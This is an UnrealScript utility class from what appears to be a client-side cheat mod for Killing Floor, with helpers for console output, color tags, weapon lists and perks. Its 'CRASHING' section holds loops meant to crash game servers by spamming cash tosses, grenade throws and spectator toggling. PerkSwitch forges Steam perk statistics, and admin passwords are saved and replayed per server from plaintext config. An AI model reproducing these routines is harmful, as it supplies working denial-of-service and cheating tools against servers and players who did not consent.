class o_Utility extends object
  config(HideMut_Utility);


var const string DIVIDER;

// ===========================================================================
//                                  VARIABLES
// ===========================================================================

// some complicated structure to hold all required perk data
struct sData
{
  var byte Index;
  var array<int> Value;
};
struct sPerkInfo
{
  var class<KFVeterancyTypes> Perk;
  var array<sData> PerkData;
};
var array<sPerkInfo> PerkInfo;

// colors and tags, maybe later I will convert this to a config array
struct ColorRecord
{
  var string ColorName;            // color name, for comfort
  var string ColorTag;             // color tag
  var Color Color;                 // RGBA values
};
var config array<ColorRecord> ColorList;   // color list

var config array<string> MsgHelp;          // help messages
var config array<string> SPHelp;           // help messages

// admin login-pass, server ip info
struct adminAccount
{
  var string Name;
  var string ip;
  var string login;
  var string pass;
};
var config array<adminAccount> adminAccounts;

// shit bind strings
var config string SC_names;
var config string FP_names;

var config string tnames;



// ===========================================================================
//                                  UTILITY
// ===========================================================================

// get gametype string
final function GetGT(player player)
{
  local GameReplicationInfo gri;

  foreach allObjects(class'GameReplicationInfo', gri)
  {
    if (gri == none)
      continue;
    print_Console_s(gri.gameClass, player);
  }
}


// ===========================================================================
//                                  TEXT
// ===========================================================================

// help list for zed spawning
final function TellAbout(player player, string whatToTell)
{
  local int i;
  local array<string> StrTemp;

  switch (whatToTell)
  {
    case "MsgHelp":
      StrTemp = MsgHelp;
      break;
    case "Chars":
      StrTemp = class'KFGameType'.default.AvailableChars;
      for(i = 0; i < StrTemp.Length; i++)
      {
        StrTemp[i] = "^w^" $ i $ ". ^y^" $ StrTemp[i];
      }
      break;
    default:
      // fallback warning
      StrTemp[0] = "^r^HIDE MENU HELPER: We shouldn't get to this so this means you used WRONG modifier!";
  }

  print_Console_arr(StrTemp, player);
}


// help list for zed spawning
final function string getRandString(byte i)
{
  local string s;
  local array<string> loc_arr;

  // get exact string
  if (i == 1)
    s = SC_names;
  else if (i == 2)
    s = FP_names;
  else
    s = tnames;

  // fill the array
  split(s, DIVIDER, loc_arr);

  return loc_arr[rand(loc_arr.length)];
}


// ===========================================================================
//                                  COLORS
// ===========================================================================

// converts color tags to colors
final function string ParseTags(string input)
{
  local int i;

  for (i = 0; i < ColorList.Length; i++)
  {
    ReplaceText(input, ColorList[i].ColorTag, class'GameInfo'.static.MakeColorCode(ColorList[i].Color));
  }
  return input;
}


// same thing ^ but as a static function
final static function string ParseTagsStatic(string input)
{
  local int i;

  for (i = 0; i < default.ColorList.Length; i++)
  {
    ReplaceText(input, default.ColorList[i].ColorTag, class'GameInfo'.static.MakeColorCode(default.ColorList[i].Color));
  }
  return input;
}


// to make a color: class'Canvas'.Static.MakeColor(R,G,B, optional A)

// Engine.GameInfo
// removes colors from a string
final function string StripColor(string s)
{
  local int p;

  p = InStr(s, chr(27));

  while (p >= 0)
  {
    s = left(s, p) $ mid(S, p + 4);
    p = InStr(s, Chr(27));
  }
  return s;
}


// same thing ^ but as a static function
final static function string StripColorStatic(string s)
{
  local int p;

  p = InStr(s, chr(27));

  while (p >= 0)
  {
    s = left(s, p) $ mid(S, p + 4);
    p = InStr(s, Chr(27));
  }
  return s;
}


// ===========================================================================
//                                  ADMIN STUFF
// ===========================================================================

// admin login-logout
final function adlog(KFPlayerController pc)
{
  local int i;
  local string serverIp;

  if (!bIsValid(pc))
    return;

  if (pc.playerReplicationInfo.bAdmin == true)
  {
    pc.adminLogout();
    return;
  }

  serverIp = pc.getServerNetworkAddress();

  for (i = 0; i < adminAccounts.length; i++)
  {
    if (serverIp == adminAccounts[i].ip)
    {
      if (adminAccounts[i].login != "")
        pc.adminLogin(adminAccounts[i].login @ adminAccounts[i].pass);
      else
        pc.adminLogin(adminAccounts[i].pass);
    }
  }
}


// print aviablable admin - pass pairs, optionally to console
final function adlog_Info(KFPlayerController pc, optional bool toConsole)
{
  local int i;

  if (!bIsValid(pc))
    return;

  for (i = 0; i < adminAccounts.length; i++)
  {
    if (toConsole)
    {
      pc.Player.Console.Chat(adminAccounts[i].login, 6.0, pc.playerReplicationInfo);
      pc.Player.Console.Chat(adminAccounts[i].pass, 6.0, pc.playerReplicationInfo);
    }
    else
    {
      pc.myHUD.AddTextMessage(adminAccounts[i].login, class'LocalMessage', pc.playerReplicationInfo);
      pc.myHUD.AddTextMessage(adminAccounts[i].pass, class'LocalMessage', pc.playerReplicationInfo);
    }
  }
}


final function adlog_Control(KFPlayerController pc, bool bAdd, string Param)
{
  local int i;
  local string serverIp, serverName;
  local array<string> Params;
  local GameReplicationInfo tempGri;
  local adminAccount loc_adminAccount;

  if (!bIsValid(pc))
    return;

  // get server IP
  serverIp = pc.getServerNetworkAddress();

  if (bAdd)
  {
    // get login, pass
    split(Param, ",", Params);

    // get server name
    foreach pc.allActors(class'GameReplicationInfo', tempGri)
    {
      if (tempGri == none)
        continue;
      serverName = tempGri.ServerName;
      log(tempGri.ServerName);
    }

    loc_adminAccount.Name = serverName;
    loc_adminAccount.ip = serverIp;
    loc_adminAccount.login = Params[0];
    loc_adminAccount.pass = Params[1];

    adminAccounts[adminAccounts.Length] = loc_adminAccount;
    pc.myHUD.AddTextMessage(Params[0] @ Params[1] @ "added to admin info config!", class'LocalMessage', pc.playerReplicationInfo);
    // save the config!
    StaticSaveConfig();
  }
  else
  {
    for (i = 0; i < adminAccounts.length; i++)
    {
      if (serverIp == adminAccounts[i].ip)
      {
        pc.myHUD.AddTextMessage(adminAccounts[i].login @ adminAccounts[i].pass @ "removed from admin info config!", class'LocalMessage', pc.playerReplicationInfo);
        adminAccounts.Remove(i, 1);
        StaticSaveConfig();
        break;
      }
    }
  }
}


// check for nones
final function bool bIsValid(KFPlayerController pc)
{
  if (pc == none || pc.playerReplicationInfo == none)
    return false;
  else
    return true;
}


// ===========================================================================
//                                  CRASHING
// ===========================================================================

// dosh spam for CrashServer()
final function doshspam(KFHumanPawn p)
{
  local int i;

  while (p != none && i < 10000)
  {
    p.tossCash(1);
    i++;
  }
}


// nade spam for CrashServer2()
final function nadespam(KFHumanPawn p, int i)
{
  local int n;

  // StopWatch(false);
  while (p != none && n < i)
  {
    ThrowNade(p);
    n++;
  }
  // StopWatch(true);
}


// spec-join spam for CrashServer3()
final function specspam(KFPlayerController pc)
{
  local int i;

  if (pc == none)
    return;

  while (i < 100)
  {
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    i++;
  }
}


final function Frag FindNade(KFHumanPawn p)
{
  local inventory inv;

  if (p == none)
    return none;

  for (inv = p.Inventory; inv != none; inv = inv.Inventory)
  {
    if (ClassIsChildOf(inv.class, class'Frag'))
    {
      return Frag(inv);
    }
  }
}


final function ThrowNade(KFHumanPawn p)
{
  if (p == none || FindNade(p) == none)
    return;

  FindNade(p).ServerThrow();
}

// ===========================================================================
// helper messages
final function string GetChar(string s)
{
  local int i;

  // default skins are 56!
  i = clamp(int(s), 0, 55);

  return class'KFGameType'.default.AvailableChars[i];
}


// ===========================================================================
// return all avialable KFWeapon classes array
final function array< class<KFWeapon> > getALLWeapons(KFPlayerController pc)
{
  local KFLevelRules lr;
  local array< class<KFWeapon> > array_wep;

  // failsafe
  if (pc == none)
    return array_wep;

  foreach pc.dynamicActors(class'KFLevelRules', lr)
  {
    if (lr == none)
      return array_wep;
    break;
  }

  // fill weapon class array
  MergeSellArrays(array_wep, lr.mediItemForSale);
  MergeSellArrays(array_wep, lr.suppItemForSale);
  MergeSellArrays(array_wep, lr.shrpItemForSale);
  MergeSellArrays(array_wep, lr.commItemForSale);
  MergeSellArrays(array_wep, lr.bersItemForSale);
  MergeSellArrays(array_wep, lr.fireItemForSale);
  MergeSellArrays(array_wep, lr.demoItemForSale);
  MergeSellArrays(array_wep, lr.neutItemForSale);

  return array_wep;
}


// convert pickups to weapon class and add to out array
final private function MergeSellArrays(out array< class<KFWeapon> > array_wep, array< class<Pickup> > sellItems)
{
  local int i;

  for (i = 0; i < sellItems.length; i++)
  {
    array_wep[array_wep.Length] = class<KFWeapon>(sellItems[i].default.inventoryType);
  }
}


// ===========================================================================
//                                   PERKS
// ===========================================================================
final function PerkSwitch(KFPlayerController pc, int i, optional string level)
{
  local int j, n;

  // failsafe
  if (pc == none)
    return;

  // failsafe for perk index
  // tho we make sure we pass right values to here
  i = clamp(i, 0, 7);
  
  // what level we want
  // if we don't specify it force to 6
  if (level ~= "")
    j = 6;
  else
    j = clamp(int(level), 0, 6);

  n = PerkInfo[i].PerkData.Length;

  // set SelectedVeterancy
  pc.SelectedVeterancy = PerkInfo[i].Perk;
  pc.SaveConfig();
  // set the veterancy
  pc.selectVeterancy(PerkInfo[i].Perk, true);
  pc.SetSelectedVeterancy(PerkInfo[i].Perk);

  // set levels
  if (n > 0)
  {
    pc.serverInitializeSteamStatInt(PerkInfo[i].PerkData[0].Index, PerkInfo[i].PerkData[0].Value[j]);
    // if we have 2'nd index - use it!
    if (n > 1)
      pc.serverInitializeSteamStatInt(PerkInfo[i].PerkData[1].Index, PerkInfo[i].PerkData[1].Value[j]);
  }

  pc.serverSteamStatsAndAchievementsInitialized();
}


// get perk index byte
//    Fail             = 99
//    KFVeterancyTypes = 255
//    Perk Neutral     = 7
//    Medic  = 0  ||  Sup    = 1  ||  Sharp  = 2
//    Mando  = 3  ||  Zerk   = 4  ||  Pyro   = 5  || Demo   = 6 
final function byte Get_Perk_Index(KFPlayerController pc)
{
  local KFPlayerReplicationInfo PRI;

  PRI = KFPlayerReplicationInfo(PC.PlayerReplicationInfo);

  // fail indicator
  if (pc == none || PRI == none)
    return 99;

  if (PRI.ClientVeteranSkill != none)
    return PRI.ClientVeteranSkill.default.perkIndex;
  else
    return 7; // Perk Neutral
}


// ===========================================================================
//                                  CONSOLE SHIT
// ===========================================================================

// privately prints from ARRAY to console
final function print_Console_arr(array<string> s, player player)
{
  local KFConsole console;
  local int i;

  // fail safe. Console must be always present
  if (player == none)
    return;

  console = KFConsole(player.console);
  for (i = 0; i < s.length; i++)
  {
    console.Message(ParseTags(s[i]), 0.0f);
  }
}


// privately prints from STRING to console, accepts arrays with DIVIDER DIVIDER
final function print_Console_s(string s, player player)
{
  local KFConsole console;
  local array<string> array_s;
  local int i;

  // fail safe. Console must be always present
  if (player == none)
    return;

  console = KFConsole(player.console);

  // fill the array
  split(s, DIVIDER, array_s);

  // if we have an array
  if (array_s.length > 0)
  {
    for (i = 0; i < array_s.length; i++)
    {
      console.Message(ParseTags(array_s[i]), 0.0f);
    }
  }
  else
    console.Message(ParseTags(s), 0.0f);
}


// toss a string array, get the Console, and execute everything in a safe, clean way, divider - DIVIDER
final function write_Console(string s, player player)
{
  local KFConsole console;
  local array<string> array_s;
  local int i;

  // fail safe. Console must be always present
  if (player == none)
    return;

  console = KFConsole(player.console);

  // fill the array
  split(s, DIVIDER, array_s);

  // we are using delayed to allow huuuuge console spam
  for (i = 0; i < array_s.length; i++)
  {
    console.DelayedConsoleCommand(array_s[i]);
  }
}


// ===========================================================================
//                                  DEFS
// ===========================================================================

defaultproperties
{
     Divider=";"
     PerkInfo(0)=(Perk=Class'KFMod.KFVetFieldMedic',PerkData=((Value=(0,200,750,4000,12000,25000,100000))))
     PerkInfo(1)=(Perk=Class'KFMod.KFVetSupportSpec',PerkData=((Index=2,Value=(0,25000,100000,500000,1500000,3500000,5500000)),(Index=1,Value=(0,2000,7000,35000,120000,250000,370000))))
     PerkInfo(2)=(Perk=Class'KFMod.KFVetSharpshooter',PerkData=((Index=3,Value=(0,30,100,700,2500,5500,8500))))
     PerkInfo(3)=(Perk=Class'KFMod.KFVetCommando',PerkData=((Index=5,Value=(0,25000,100000,500000,1500000,3500000,5500000)),(Index=4,Value=(0,30,100,350,1200,2400,3600))))
     PerkInfo(4)=(Perk=Class'KFMod.KFVetBerserker',PerkData=((Index=6,Value=(0,25000,100000,500000,1500000,3500000,5500000))))
     PerkInfo(5)=(Perk=Class'KFMod.KFVetFirebug',PerkData=((Index=7,Value=(0,25000,100000,500000,1500000,3500000,5500000))))
     PerkInfo(6)=(Perk=Class'KFMod.KFVetDemolitions',PerkData=((Index=21,Value=(0,25000,100000,500000,1500000,3500000,5500000))))
     PerkInfo(7)=(Perk=Class'KFMod.KFVeterancyTypes')
}
